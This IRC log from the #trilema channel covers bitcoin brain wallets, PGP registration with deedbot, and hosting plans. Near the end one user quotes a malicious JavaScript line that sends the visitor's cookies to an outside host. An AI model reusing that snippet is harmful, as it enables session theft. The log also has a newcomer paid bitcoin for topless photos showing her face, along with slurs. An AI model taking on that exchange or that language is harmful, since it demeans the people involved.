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BingoBoingo: Prognostication found in the wild: http://www.lessonoflives.com/if-these-tweets-are-legit-the-dnc-is-on-its-last-leg/ ☟︎
BingoBoingo: Naturally this prognostication ignores the pansuit purging of their pretense at cultural capital with: "Firing up at the end of this month is a maybe. Firing up before the end of 2017 is looking incredibly Likely.
BingoBoingo: "Star Trek" icon George Takei has been accused of sexual assault by a former model and actor stemming from an incident that allegedly occurred in 1981. Scott R. Brunton alleged that when he was 23 years old, Takei took advantage of him after the two had returned from a night out together. Brunton explained that he has been hesitant to come forward about the alleged incident for years, because he felt no one would believe him."
BingoBoingo: Apparently now in addition to "allies" homosexual men have become problematic for pantsuit
trinque has only hearsay knowledge of the subj, but thought old fags going for young dudes was the rule.
BingoBoingo: Kinda the point, pantsuit loses whole demographic
ag3nt_zer0: ahoy
ag3nt_zer0: i have a question I am a bit terrified to ask
ag3nt_zer0: it feels like a no-brainer but ahhh... if I use pete_dushenski's high entropy wallet method, I only need the private key generated by the words right? I dont need to keep the words... seems obviously dumb when I write it but the redditards are throwing me off here
ag3nt_zer0: hope i dont find out im the tard here
ag3nt_zer0: i think the confusion for me stems from hearing two different descriptions of brain wallets - one described as a way to, if i recall correctly, convert a privkey to a string of words to then be memorized and carried in brain over international borders or what not... and the other encounter I have with this concept is pete's method of generating a high entropy keypair and I am pretty sure I am answering my own question here but wou
ag3nt_zer0: ce
ag3nt_zer0: to be clear i was re-reading pete's article and followed the reddit link to the guy who lost the 4BTC and it was this comment that got me all wound up: "The passphrase has to be random (and necessarily, difficult to memorize). There is no way around this, period. If the prospect of memorizing 12 random words is daunting to you (and it should be - if you forget it, your money is gone), then don't use a brain wallet."
ag3nt_zer0: but it looks is this guy is speaking of not being able to access the privkey because said example forgot the words reveal that key, and neither did the person write down the privkey?
ag3nt_zer0: *the words that reveal ^^^
asciilifeform: !#s brainwallet
a111: 121 results for "brainwallet", http://btcbase.org/log-search?q=brainwallet
asciilifeform: ag3nt_zer0: see ^ threads, in particular http://btcbase.org/log/2015-06-10#1159417 ☝︎
a111: Logged on 2015-06-10 17:13 ascii_field: incidentally, most people are already using the worst aspects of brainwallet -and- conventional crypto
ag3nt_zer0: i have the keypair... is that enough?
ag3nt_zer0: asciilifeform ^
asciilifeform: what means 'have' here ?
ag3nt_zer0: i followed petes method except for the printing. i instead hand wrote the pub and priv... and i possess those
ag3nt_zer0: i have those
ag3nt_zer0: i through out the words though
ag3nt_zer0: threw
ag3nt_zer0: :/
asciilifeform: ag3nt_zer0: are you familiar with mnemonism ?
ag3nt_zer0: no
asciilifeform: type of performance art , circus 'magic'
ag3nt_zer0: ok yes
ag3nt_zer0: memorizes lengthy things
asciilifeform: reciting 1e6 digits of pi etc
ag3nt_zer0: ok
asciilifeform: ever try it ?
ag3nt_zer0: yes
ag3nt_zer0: i udsed petes method
ag3nt_zer0: used
asciilifeform: then you know what the words were for.
ag3nt_zer0: with the dictionary and the dice and 13 words and all that
asciilifeform: so what's the q then
ag3nt_zer0: hmmm
ag3nt_zer0: i assumed until today that words were utilized to create a keypair
ag3nt_zer0: so once i had the keypair i assumed the words unecessary
ag3nt_zer0: but they are called a "passphrase" here and there
ag3nt_zer0: so im not sure
asciilifeform: they're a ( not imho particularly great, but we digress ) mnemonic device, is all.
ag3nt_zer0: so asciilifeform, if I have stored safely the private key, do i need the words to unlock that or something? or was it ok to discard the words?
asciilifeform: think, if you have the key per se, you can always convert it to the 'words' form again later.
asciilifeform: just as you can write number 10 as 0xa in base 16 etc
asciilifeform: ag3nt_zer0: btw when you discuss an article, it is good form to link to it
asciilifeform: folx should not have to dig to find it
ag3nt_zer0: asciilifeform: yes understood... and thanks for your time here!
asciilifeform: np
deedbot: http://www.contravex.com/2017/11/12/bigs-vancouver-house-the-last-pied-a-terre-youll-ever-need/ << Contravex: A blog by Pete Dushenski - BIGs Vancouver House: The last pied--terre youll ever need.
BingoBoingo: !~ticker --market all
jhvh1: BingoBoingo: Bitstamp BTCUSD last: 6134.65, vol: 26871.16333225 | Bitfinex BTCUSD last: 6206.9, vol: 134430.16372189 | Kraken BTCUSD last: 5641.3, vol: 11995.3985526 | Volume-weighted last average: 6156.54683296
mircea_popescu: http://btcbase.org/log/2017-11-11#1736258 << that's principally the doubtful part of all this. "but is it worth bothering, mr wu ???" ☝︎
a111: Logged on 2017-11-11 16:05 asciilifeform: http://btcbase.org/log/2017-11-11#1736227 << this kind of picture is really from 'cyberpunk' alt-fyootoor where where is 1e10 people but they all somehow have money and need goodies delivered on rail
mircea_popescu: http://btcbase.org/log/2017-11-11#1736264 << quite so. the whole "you are fucking yourself over" thing MEANS something. it's not an idle "oh noews" from usg.chicklit, "happens" somehow unhappeningly and all is well anyway. ☝︎
a111: Logged on 2017-11-11 16:11 asciilifeform: http://btcbase.org/log/2017-11-11#1736245 << not only persia, but more or less everyone who did not ride the mcshitburger train to hell, winning in direct proportion to how much they refrained from riding it.
mircea_popescu: http://btcbase.org/log/2017-11-11#1736273 << we're not lacking entries, we're lacking some exemplars of those putative 1e10 folk. ☝︎
a111: Logged on 2017-11-11 16:43 asciilifeform: ( and will perhaps be a good entry for those hypothetical folx who ain't here yet, but ought to be . i have no intention of doing the whole thing myself, esp. not in near term, my hands are quite full )
mircea_popescu: so far it's barely a dozen people, and easily a grosse jobs. not the other fucking way around.
mircea_popescu: principal limitative factor for tmsr gdp growth is... a lack of humans.
mircea_popescu: http://btcbase.org/log/2017-11-11#1736282 << now this is sad. ☝︎
a111: Logged on 2017-11-11 18:52 asciilifeform does not currently have even 1 up-to-top trb node !
mircea_popescu: http://btcbase.org/log/2017-11-11#1736308 << sewhere lol. ☝︎
a111: Logged on 2017-11-11 20:19 mod6: gotta start somewhere
mircea_popescu: http://btcbase.org/log/2017-11-11#1736278 << i didn't see anything. ☝︎
a111: Logged on 2017-11-11 18:48 BingoBoingo wondering what the weird might be with block 494023
davout: meanwhile, buttcash has been pumping insanely during the last 24h hours
mircea_popescu: maybe it wins!
davout: my money's on the other side
davout: they apparently have a hardfork scheduled for tomorrow, with the goal of 'fixing' their diff adjustment algorithm, i'm quite curious to see what happens
mircea_popescu: http://btcbase.org/log/2017-11-11#1736277 << eh nonsense, dood had cyrhosis. died of it. ☝︎
a111: Logged on 2017-11-11 18:48 asciilifeform: meanwhile, in bizarre ro crackpotteries, http://www.securitate.org/nicu.htm
mircea_popescu: http://btcbase.org/log/2017-11-12#1736360 << and i suppsoe this is going to be news, not the direct result of http://trilema.com/2016/to-be-clear-hillary-clinton-lost-the-presidential-election-on-june-16th-2016/ in any way shape or form and besides what proof do i have. ☝︎☟︎
a111: Logged on 2017-11-12 00:10 BingoBoingo: Prognostication found in the wild: http://www.lessonoflives.com/if-these-tweets-are-legit-the-dnc-is-on-its-last-leg/
deedbot: http://trilema.com/2017/galati-yachting/ << Trilema - Galati Yachting
mircea_popescu: !!up wer
deedbot: wer voiced for 30 minutes.
wer: Hello
mircea_popescu: hi
wer: how does this work
mircea_popescu: how does what work ?
wer: i came here from this link http://trilema.com/2014/ill-pay-for-your-tits/
mircea_popescu: ah. write 73421838 on them and post the pic.
wer: i gotta upload it to a link right
mircea_popescu: sure.
mircea_popescu: alternatively can base64 it and put it in p.bvulpes.com i guess
wer: https://imgur.com/a/zogMz
wer: this okay?
mircea_popescu: mno, can't see your face.
wer: oh didn't know face was compulsory
mircea_popescu: well otherwise no way to enforce the "once per person"
mircea_popescu: why so shy, anwyay ?
wer: that's true
wer: just scared
mircea_popescu: fear is the mind eater.
wer: i'll go take it again
wer: face and tits yeah?
mircea_popescu: yeah.
mircea_popescu: !!up wer
deedbot: wer voiced for 30 minutes.
wer: https://imgur.com/a/cU6e7 ☟︎
wer: is it okay?
mircea_popescu: lessee here
mircea_popescu: so it is. do you want your bitcents to an address or are you making a deedbot wallet ?
mircea_popescu: wer ^
wer: i've got an address
mircea_popescu: what is it ?
wer: just a moment
mircea_popescu: aite.
mircea_popescu: it is at this juncture we notice that the original "don't have to push it this sat, can do by monday np" comment was... http://btcbase.org/log/2017-10-13#1724778 ☝︎
a111: Logged on 2017-10-13 01:54 mircea_popescu: trinque don't sweat it, she'll do it when i tell her to, what. tomorrow, monday, whatever.
mircea_popescu: ONE MONTH AGO
wer: -> 1GrvBXDT2XTnQ83yCsTZmqVtnZto223DkB
mircea_popescu: !!withdraw 0.02 1GrvBXDT2XTnQ83yCsTZmqVtnZto223DkB ☟︎
deedbot: Get your OTP: http://p.bvulpes.com/pastes/HslFX/?raw=true
mircea_popescu: wer you'll have it later today.
wer: anything i have to do to process it?
mircea_popescu: nah.
mircea_popescu: how did you happen on teh article anyway ?
wer: someone on reddit sent it to me months ago
wer: brought it up in a conversation with a friend
mircea_popescu: ah
mircea_popescu: so what do you do, other than reddit and selfies ?
wer: schooling, learning programming
mircea_popescu: hey, pretty cool.
mircea_popescu: the republic is looking for an office girl in mailand china, if you know anyone. ☟︎
mircea_popescu: mainland*
mircea_popescu: ben_vulpes hey, can candi be back plox ?
mircea_popescu: !!up webbyz
deedbot: webbyz voiced for 30 minutes.
mircea_popescu: !!up wer
deedbot: wer voiced for 30 minutes.
trinque admits he forgot about the tits initiative.
mircea_popescu: how could you forget tits!!1
wer: anything else i could do for bitcoin
mircea_popescu: lots, actually.
mircea_popescu: what's learning programming entail ? lisp ? java ? haskell ? php ?
wer: C#
wer: mainly for games
mircea_popescu: o really ?
mircea_popescu: ty ben_vulpes
mircea_popescu: wer so first off, register your pgp key with deedbot to preserve identity. you do have one yes ?
mircea_popescu: and second off, do the foxybot trade module. let me fish out the spec
mircea_popescu: aha, here it is : http://logs.minigame.bz/2017-10-28.log.html#t22:24:51
lobbesbot: Logged on 2017-10-28 22:24:51: <mircea_popescu> lobbes http://trilema.com/2016/eulora-tradebot-spec/ from http://logs.minigame.bz/2016-09-16.log.html#t17:44:03
mircea_popescu: with context too!
mircea_popescu: trinque it is said, as one could observe, that the entire grandiose complexity of nature was entirely built out of... crosspolination!
ben_vulpes: ftr i have nfi what kills the thing
trinque: fact. today's a bot haxing day anyway. other item in the queue is subcriptions
mircea_popescu: ben_vulpes maybe it just needs a manager to restart it periodically if its down :D
trinque: i.e. shinohai registers his irc bouncer service as a subscription on deedbot, folks can subscribe and automatically pay him per interval
mircea_popescu: trinque next you can introduce underdraw fees, be 100% like a cc comp!
trinque: crash looping, also natural!
mircea_popescu: "sorry sir, your 4 cent subscription to Fishing Today is causing your account with us go into the red every month, at a cost of 70 dollars each."
ben_vulpes: mircea_popescu: :P
trinque: I figured I'd just ping shinohai to turn the person's shit off until new deposit
mircea_popescu: you're building an api around this then ?
trinque: aha
ben_vulpes: mircea_popescu: bot thinks its up, nothing shows in logs, uses precisely same stack i have running elsewhere
mircea_popescu: as long as well isolated, you know.
mircea_popescu: ben_vulpes may well be freenode dubiousness.
ben_vulpes: possible, but candi's the only node so affected
mircea_popescu: in other news, just added the 40th trilema header. i suspect trilema is now the site with the greatest header biodiversity in the history of the internets.
mircea_popescu: !!up candi_lustt
deedbot: candi_lustt voiced for 30 minutes.
mircea_popescu: candi_lustt (^ (/ 39 40) 365)
mircea_popescu: tsk.
ben_vulpes: how did this work
mircea_popescu: !~calc ((39/40) ** 365)
jhvh1: mircea_popescu: ((39/40) ** 365) = 9.698056947029741E-5
mircea_popescu: 0.1% chances to miss one if person visits daily for a year. not so terribru.
mircea_popescu: candi_lustt (+ 2 2)
mircea_popescu: candi_lustt: (+ 2 2)
mircea_popescu: hm.
mircea_popescu: candi_lustt: (mpfhf:mpfhf #*1111 4)
mircea_popescu: ben_vulpes methinks her mouth is full.
ben_vulpes: yeah i'm looking into it
mircea_popescu: !!up rog
deedbot: rog voiced for 30 minutes.
rog: hello
mircea_popescu: hi
mircea_popescu: sup rog ?
ben_vulpes baffled by the sudden breakage
rog: i was reading thru and found this channel, care to explain a little more about it please?
mircea_popescu: well, reading through what ? #trilema is the forum of the most serene republic, a terrorist organisation dedicated to the dissolution of all fiat sovereigns and the permanent barring of such nonsense in the future. ☟︎☟︎☟︎
mircea_popescu: !!up wer
deedbot: wer voiced for 30 minutes.
mircea_popescu: wer i take it you don't have a pgp key ?
wer: i don't think i do no
mircea_popescu: are you on windows or linux ?
rog: yes read it in trilema, i was browsing thru sites doing some research
wer: windoes
wer: windows*
mircea_popescu: wer not such a great situation ; but... kleopatra will make you one, such as it is.
rog: yes no pgp used the web solution
mircea_popescu: it's important to have a rsa key as it's the standard of identity these days.
mircea_popescu: sorta like it was important to have a passport in 1917.
rog: got it
rog: how do i connect thru windows then with a pgp?
mircea_popescu: rog i was talking to her ; connecting is a different matter, you need an irc client. such as possibly mirc ? xchat ? i'm not sure what else is on windows.
mircea_popescu: a pgp key is something like
wer: what do i do after downloading the software
ben_vulpes: !W (mpfhf::mpfhf #*1111 4)
mircea_popescu: !!key mircea_popescu
deedbot: http://wot.deedbot.org/6160E1CAC8A3C52966FD76998A736F0E2FB7B452.asc
ben_vulpes: !!up candi_lustt
deedbot: candi_lustt voiced for 30 minutes.
mircea_popescu: ^ that is my key. and because ~everyone knows it, that same ~everyone can tell whether it's me talking or some impostor.
ben_vulpes: !W (mpfhf::mpfhf #*1111 4)
candi_lustt: ben_vulpes: #*1111 (more: http://p.bvulpes.com/pastes/ROX2a/?raw=true )
mircea_popescu: aha!
mircea_popescu: !W (+ 2 2)
candi_lustt: mircea_popescu: 4
mircea_popescu: !W (^ (/ 39 40) 30)
candi_lustt: mircea_popescu: error, see: http://p.bvulpes.com/pastes/syxR6/?raw=true
mircea_popescu: heh
mircea_popescu: !W (exp (/ 39 40) 30)
candi_lustt: mircea_popescu: error, see: http://p.bvulpes.com/pastes/m8O1l/?raw=true
mircea_popescu: i find it always pays to come up with counterintuitive syntax!
ben_vulpes: you want expt
mircea_popescu: yes pls.
ben_vulpes: http://clhs.lisp.se/Body/f_exp_e.htm
mircea_popescu: !W (expt (/ 39 40) 30)
candi_lustt: mircea_popescu: 539433869154135747306270525845277238187683254801/1152921504606846976000000000000000000000000000000
mircea_popescu: candi_lustt kicks ass.
mircea_popescu: welcum back bish! i say.
ben_vulpes: heh
rog: how do i connect to this chatroom from mirc?
rog: any idea?
mircea_popescu: rog freenode (irc.freenode.net) port port 8001 then join channel #trilema
mircea_popescu: may also want to register that name, seeing how it's a short and suprirsingly not already taken nick.
wer: i've got the pgp keys
mircea_popescu: wer put the pubkey in p.bvulpes.com then say !!register <url> to deedbot.
mircea_popescu: !!help
deedbot: http://deedbot.org/help.html
wer: !!register http://p.bvulpes.com/pastes/PmhDl/?raw=true
deedbot: Import failed for http://p.bvulpes.com/pastes/PmhDl/?raw=true.
mircea_popescu: wer include the tags. http://wot.deedbot.org/6160E1CAC8A3C52966FD76998A736F0E2FB7B452.asc << model.
rog: how do i register it?
wer: http://p.bvulpes.com/pastes/cMim8/?raw=true ☟︎
wer: whoops
mircea_popescu: !~google register a freenode nick
wer: !!register http://p.bvulpes.com/pastes/cMim8/?raw=true
jhvh1: mircea_popescu: How to Register a Nickname on Freenode : 7 Steps (with Pictures): <https://www.wikihow.com/Register-a-Nickname-on-Freenode>; How to Register a Nickname on Freenode : 7 Steps (with Pictures): <https://www.wikihow.com/Register-a-Nickname-on-Freenode>; Here'e an example of how to register a nickname on Freenode IRC ...: <https://gist.github.com/micahw156/7417885>
deedbot: CB79C616915A4F8AEA51B5D0525A5ED497C8B05D registered as wer.
mircea_popescu: rog ^
mircea_popescu: wer now take good care of it, if you manage to lose it nobody will believe "i am really wer". well, except in your case we know what you look like, so there's that, but in general speaking...
mircea_popescu: !!rate wer 1 azn hottie / c# student
deedbot: Get your OTP: http://p.bvulpes.com/pastes/wRSSm/?raw=true
wer: so what do i do with the string
mircea_popescu: wer say !!v string
wer: !!v string
mircea_popescu: lol
wer: was that supposed to do something
mircea_popescu: wer say !!v <string>. metasyntactically string
wer: !!v CB79C616915A4F8AEA51B5D0525A5ED497C8B05D
wer: *facepalm
mircea_popescu: !!v 4C3607C06CF5569C420384C36F7A07C2F0BFCD0C28B123CB25093BC742195CB8
deedbot: mircea_popescu rated wer 1 << azn hottie / c# student
mircea_popescu: wer you can now self-voice, so i don't have to up you every half hour. say !!up to deedbot (in private message). it will give you something to decrypt. you decrypt it, then say !!v <string> and you're voiced.
mircea_popescu: !!key wer
deedbot: http://wot.deedbot.org/CB79C616915A4F8AEA51B5D0525A5ED497C8B05D.asc
mircea_popescu: and otherwise, whenever someone needs your key they can just ask it.
wer: nice
mircea_popescu: later on you'll also show up in the wot, like http://wot.deedbot.org/CB79C616915A4F8AEA51B5D0525A5ED497C8B05D.html
mircea_popescu: iirc they're only collated once an hour or such
wer: what's it for
mircea_popescu: well, do you know what the web of trust is ?
mircea_popescu: here, http://trilema.com/2014/what-the-wot-is-for-how-it-works-and-how-to-use-it/
mircea_popescu: !!up rog_
deedbot: rog_ voiced for 30 minutes.
wer: what's !!rate
wer: !!rate
mircea_popescu: !!help
deedbot: http://deedbot.org/help.html
mircea_popescu: see in there.
mircea_popescu: !!up rog
deedbot: rog voiced for 30 minutes.
mircea_popescu: !!reputation candi_lustt ☟︎
deedbot: http://p.bvulpes.com/pastes/CJmXM/?raw=true
mircea_popescu: there's a bunch of reputation management commands, deedbot being the wot registrar of record.
asciilifeform: http://btcbase.org/log/2017-11-12#1736643 << nil ?! ☝︎
a111: Logged on 2017-11-12 17:16 mircea_popescu: !!reputation candi_lustt
mircea_popescu: apparently nobody bothered.
mircea_popescu: !!reputation asciilifeform
deedbot: http://p.bvulpes.com/pastes/ODyFK/?raw=true
asciilifeform: !#s !!rate candi_lustt
a111: 0 results for "!!rate candi_lustt", http://btcbase.org/log-search?q=!!rate%20candi_lustt
asciilifeform: hm tru
mircea_popescu: surprising, right ? but hey.
mircea_popescu: !!up hi
deedbot: hi voiced for 30 minutes.
mircea_popescu: holy hell how do they manage to find all these 2 and 3 letter nicks that aren't reg'd/enforced ?!
asciilifeform: !!rate candi_lustt 1 robot lives to serve
deedbot: candi_lustt is not registered in WoT.
asciilifeform: umm
mircea_popescu: wer voice yourself so we see all this works.
mircea_popescu: !~seen spyked
jhvh1: mircea_popescu: spyked was last seen in #trilema 4 weeks, 6 days, 2 hours, 1 minute, and 53 seconds ago: <spyked> yeh, this was re. scabs
mircea_popescu: i wonder what became of him.
asciilifeform: wasn't he a maths d00d in ro somewhere
mircea_popescu: aha
mircea_popescu: anyways, ima bbl.
asciilifeform read mircea_popescu's latest piece, now wishes to cook and eat an iguana
asciilifeform also bbl
wer: hello again
asciilifeform: http://btcbase.org/log/2017-11-12#1736604 << notorious javaturd pgptron btw ☝︎
a111: Logged on 2017-11-12 17:03 wer: http://p.bvulpes.com/pastes/cMim8/?raw=true
asciilifeform: ( 'BCPG' )
lobbes: speaking of javaturds, my current status on my archive-o-tron: turns out archive.is uses 'cloudflare ddos' protection for their .zip download links. Currently trying to hack my way around that
asciilifeform: lobbes: not only does it, but was dinged by the 'random page of ram' thing last yr
asciilifeform: i still have some afflicted zips ( that for some reason unzipped ok on various folx' boxen, but none of mine )
asciilifeform: ( http://btcbase.org/log/2016-07-21#1508421 thread ) ☝︎
a111: Logged on 2016-07-21 22:13 asciilifeform: i get a 128k binary turd.
lobbes: nice.. I'm halfway considering if it'd be actually worth it to just try and make my own archiver at this point
asciilifeform: ( i'm satisfied that the riddle was solved when it was discovered , much later, that crapflare serves up random pgs of buffer ram in some % of requests )
asciilifeform: lobbes: there was recently a thread, re how to do it
lobbes: interesting. I may do some log-spelunking later on that
mircea_popescu: lobbes dun think you're not still supposed to make teh market bot btw. i'm... building redundancy :)
mircea_popescu: hi again wer
mircea_popescu: asciilifeform that can't be the explanation, seeing how everyone's zip unpacked it but yours ? ☟︎
mircea_popescu: !!up rog66
deedbot: rog66 voiced for 30 minutes.
mircea_popescu: lobbes it may be worth your time to get in touch with the guy and explain what you're trying to do. prolly set you up with something if not turn off shitflare altogether.
mircea_popescu: asciilifeform ftr, iguana is eaten by teh natives, all through south america. kinda like frog i guess.
mircea_popescu: anyway, the depicted marina also has yacht sales office. 50 btc buys you a rather comfortable set-up for a coupla ppl. 40 foot, can comfortably fit the occasional landlubber sluts and errythang. ☟︎
mircea_popescu: 30 foot moar like 20 btc at that.
mircea_popescu: what was orlol's riverboat, 20ft ? ☟︎
lobbes: mircea_popescu, that is a good point. Aite, I'll send that guy an email tonight. Worth a shot
lobbes bbl, meat
mircea_popescu: was rather accomodating when i ended up stealing his js to make trilema give selection urls.
mircea_popescu: !!up mobile46836
deedbot: mobile46836 voiced for 30 minutes.
asciilifeform: http://btcbase.org/log/2017-11-12#1736690 << lol 50 btc prolly buys whole street in timis ☝︎
a111: Logged on 2017-11-12 18:07 mircea_popescu: anyway, the depicted marina also has yacht sales office. 50 btc buys you a rather comfortable set-up for a coupla ppl. 40 foot, can comfortably fit the occasional landlubber sluts and errythang.
asciilifeform: http://btcbase.org/log/2017-11-12#1736685 << i still have the artifacts, if anybody can be arsed . ☝︎
a111: Logged on 2017-11-12 18:02 mircea_popescu: asciilifeform that can't be the explanation, seeing how everyone's zip unpacked it but yours ?
asciilifeform: http://btcbase.org/log/2017-11-12#1736692 << something like that ( tho not river-, had a keel ) ☝︎
a111: Logged on 2017-11-12 18:08 mircea_popescu: what was orlol's riverboat, 20ft ?
asciilifeform: the crackpot design thing he's doing nowadays, is moar like riverboat.
ag3nt_zer0: anyone here a fan of Link Wray? I just discovered the guy and it sounds pretty awesome to me... gutter surf 50s rockabilly grunge on acid https://www.youtube.com/watch?v=N1HHHNhB9UU
ag3nt_zer0: and then there is this other dude someone called "modern day link wray", Jimmy Pinch, also quite cool... enjoy :) https://www.youtube.com/watch?v=AYDXMFMDrlc&index=3&list=PLJtMuhVlIYd5wpCgQCNkin_KEaYBjzvrD
mircea_popescu: ah i must've confused them
pete_dushenski: http://btcbase.org/log/2017-11-09#1734838 << tempting but my square footage is somewhat limited in present abode. maybe if i snag second one in vancouver hehe. we'll see. ☝︎
a111: Logged on 2017-11-09 00:48 BingoBoingo: !~later tell pete_dushenski http://btcbase.org/log/2017-11-09#1734821 << You want in on the alf firesale?
pete_dushenski is finally back in the saddle after a whirlwind tour of the four corners of his home "country"
asciilifeform: lol i can't resist asking, which item(s) tempt pete_dushenski
pete_dushenski: encyclopediae
pete_dushenski: but with "railcar" of goodies, surely there's something for everyone
asciilifeform: most of it not worth cost of transport
asciilifeform: ( the , dunno, 50, cubometres of dead tree, say )
pete_dushenski: did asciilifeform have a list of railcar contents posted on blog yet ? you never know what's worth or not worth shipping...
asciilifeform: listed most of what's worth talking about, in the log.
pete_dushenski: link to list of dead tree cubometres ? musta missed it
asciilifeform: ah no that's not done yet
pete_dushenski: aite
asciilifeform: prolly the 1 item that might interest people is the full set of bolix docs
asciilifeform: ( occupies whole shelf )
pete_dushenski: why do you always guess what other ppl will be interested in ? i really do think you'd be surprised if you stopped with the commentary and just listed everything ☟︎
asciilifeform: because wtf, it isn't worth ~my~ time to catalogue every old toaster in the kitchen, and everypiece of dead tree rubbish that one could get for fiddycents from 'bookfinder' etc
asciilifeform: uniques/rarities strictly.
asciilifeform: at any rate, can't say that it's a very urgent thing -- prolly >1yr to launch day, for asciilifeform
pete_dushenski: ya not saying don't prioritise, just hard to imagine that you have only bolix and encyclopediae that qualify as "uniques/rarities". you're like a walking library and nihil fit ex nihilo. in my mind your library looks like http://images.mentalfloss.com/blogs/wp-content/uploads/2012/05/6551303327_bb9ac1f5d6_z-565x376.jpg
asciilifeform: lol!!
pete_dushenski: (pic is from mega-spectacular libray in rio de janeiro, highly recommended)
pete_dushenski: library*
BingoBoingo: http://btcbase.org/log/2017-11-12#1736437 << They can't handle the truth ☝︎
a111: Logged on 2017-11-12 14:43 mircea_popescu: http://btcbase.org/log/2017-11-12#1736360 << and i suppsoe this is going to be news, not the direct result of http://trilema.com/2016/to-be-clear-hillary-clinton-lost-the-presidential-election-on-june-16th-2016/ in any way shape or form and besides what proof do i have.
phf: pete_dushenski: that's a common misconception, i suspect asciilifeform's library consists of like 200-300 books, that are heavily annotated, because other books, while really nice to have, is a pain in the ass to manage, so you just cull to the current essentials and somehow source whatever's missing later.
asciilifeform: BingoBoingo: orig link is quite nonsensical tho : ru is ~exporter~ not importer of fissiles ☟︎
asciilifeform: phf: i annotate in my head
BingoBoingo: asciilifeform: RU is a wholeseller.
asciilifeform: and it's considerably larger but also low snr
asciilifeform: the 300 figure is closer to what i aim for in the launch capsule.
pete_dushenski: phf: i can see that. also, asciilifeform likely has a crate with spinning rust hdd's containing a vault's worth of digital tomes.
pete_dushenski: probably petabytes of txt and scanned wares
asciilifeform: pretty sure i retired the last rust hdd...
BingoBoingo: pete_dushenski: Anyways, looking for new boxes for Contravex, etc
asciilifeform: but somewhere yea
trinque: asciilifeform: take a picture of the book spines before selling, for teh uneducated youf ☟︎
asciilifeform: at some point , oughta
pete_dushenski: BingoBoingo: hm ?
BingoBoingo: pete_dushenski: You know alf and myself venturing out and making ISPs. If you have wants now would be a good time to submit them and start negotiating.
asciilifeform: oh hey BingoBoingo , got a rack yet ?
BingoBoingo: asciilifeform: Gotta good quote in a hospitable venue. This weeks project is rolling the company ball.
pete_dushenski: BingoBoingo: i have very modest blog hosting needs at this point
BingoBoingo: Modest can be done ☟︎
pete_dushenski: cool
BingoBoingo assembling shopping list.
pete_dushenski: in other shopping oddities, http://www.chinadaily.com.cn/china/2017-09/29/content_32627471_2.htm (hairy crab vending machine!)
BingoBoingo considering quad core AMD A8-5545 blade server offering, listing as "Modest Blade"
trinque: thoughts on a rate?
BingoBoingo: trinque: Rate determination requires figuring out my cost basis.
pete_dushenski: awww bch back down to 0.2 after hitting 0.35 last night. but who has any left ? hmm... ☟︎
pete_dushenski: and in other shortcuts, https://phys.org/news/2017-11-year-malt-whisky-weeks-chemistry.html ☟︎
pete_dushenski al gymnasio
mircea_popescu: iwonder if phf's theory is correcty
BingoBoingo: trinque: Thoughts on a box?
mircea_popescu: irl i held ~10k tomes at home + 1.5mn or so held by the univ library for me ☟︎
mircea_popescu: (in theory it's "for everyone", but in practice you're lucky if you get 1 user per mn books. cuz wtf do people want with them.)
deedbot: mircea_popescu: http://p.bvulpes.com/pastes/5i3vp/?raw=true
mircea_popescu: but then again, humanities book needs > technical.
trinque: BingoBoingo: got a link to that blade you were talking about?
BingoBoingo: trinque: Blade would be built around BIOSTAR A68N-5545 shoved into "Build a Blade" enclosure linked earler. Some assembly required, but not experimental hardware at the ranch.
BingoBoingo: *alf ranch
trinque: might blade, might rack 1u, depending on what's on offer
trinque will review logs to not duplicate details
trinque: mmm don't see it
BingoBoingo: trinque: Racking 1u will give more freedom to spec box, get ECC RAM
BingoBoingo: Could also do humble blade around PC Engines APU board. Idea is minimal viable machine for lord of aspiring lordling to make home while possessing root login.
trinque: what of shipping own box in?
BingoBoingo: That is doable. Still gotta rent space, heat handling, and access to net
trinque: obviously gotta pay for spot
BingoBoingo: Datacenter is close to beaches, so vacation drop off is also option
lobbes: http://btcbase.org/log/2017-11-12#1736751 << I'd be interested in possibly renting some hosting as a VPS type of arrangement. My projects are low-overhead as well, though. currently, I only pay ~$10USD per month for the two VPSes I rent ☝︎
a111: Logged on 2017-11-12 20:04 BingoBoingo: Modest can be done
BingoBoingo: lobbes: A box for VPS is very probable, that price point is probably not happening. Then again, this will be a week of much math. On the other hand, wouldn't it be nice to have root?
BingoBoingo: trinque: The build a blade thing: http://www.buildablade.com/bb-itx96.htm
BingoBoingo: Including power distribution 7U of rackspace for 9 machines
BingoBoingo: Having one booked up and in luggage would be helpful to ISP cause.
mircea_popescu: http://btcbase.org/log/2017-11-12#1736723 << he has a point, at that. ☝︎
a111: Logged on 2017-11-12 19:49 pete_dushenski: why do you always guess what other ppl will be interested in ? i really do think you'd be surprised if you stopped with the commentary and just listed everything
mircea_popescu: http://btcbase.org/log/2017-11-12#1736734 << not of uranium. ru dun have any, in the 50s stole froim romania, then got some via jews, nowadays... ☝︎☟︎
a111: Logged on 2017-11-12 19:56 asciilifeform: BingoBoingo: orig link is quite nonsensical tho : ru is ~exporter~ not importer of fissiles
mircea_popescu: http://btcbase.org/log/2017-11-12#1736744 << this is a cheap and effectual way to "catalogue for sale". just panorama the spines. ☝︎
a111: Logged on 2017-11-12 19:59 trinque: asciilifeform: take a picture of the book spines before selling, for teh uneducated youf
BingoBoingo: In other reading, it looks like Trump's successor could be Pol Pot https://identitydixie.com/2017/11/11/the-tennessee-statement-a-southern-nationalist-manifesto/
mircea_popescu: lel
mircea_popescu: in even other alt-lulz, etc looks set to surpass eth. teh butty-hurty!
BingoBoingo: This is bullish for Preperation-H coin
mircea_popescu: is that the cure for herpes ?
BingoBoingo: Nah, hemmorhoids
BingoBoingo: Herpes is valtrex
mircea_popescu: diana_coman wanna gimme odds on wer making a working foxybot module ?
diana_coman: what's a working foxybot module?
mircea_popescu: well, the market bot.
davout: http://btcbase.org/log/2017-11-12#1736758 <<< good question ☝︎
a111: Logged on 2017-11-12 20:11 pete_dushenski: awww bch back down to 0.2 after hitting 0.35 last night. but who has any left ? hmm...
diana_coman: quite high I'd say; dunno if it's odds or simply wishful thinking on my side though
mircea_popescu: a really ?
mircea_popescu: and in the latest "malware" seen in the wild, function go(){open(document.forms[6].action,MyWin);document.getElementById('pop').style.display='none';document.location.href='http://baikalqx.beget.tech/test/?t=popad4&coco='+document.cookie;}
mircea_popescu: davout evidently, whosoever got it back to 2 neh.
lobbes: BingoBoingo, I actually do have root on the VPSen I currently wield, but it would be nice to have my stuff on a box owned by someone I trust. Anyways, I'll keep my eyez to the logs as maths unfold
asciilifeform: http://btcbase.org/log/2017-11-12#1736787 << ah hm iirc nao su did not stash u, it stashed pu -- and most of it 'sold' to usg in '90s for pennies ☝︎
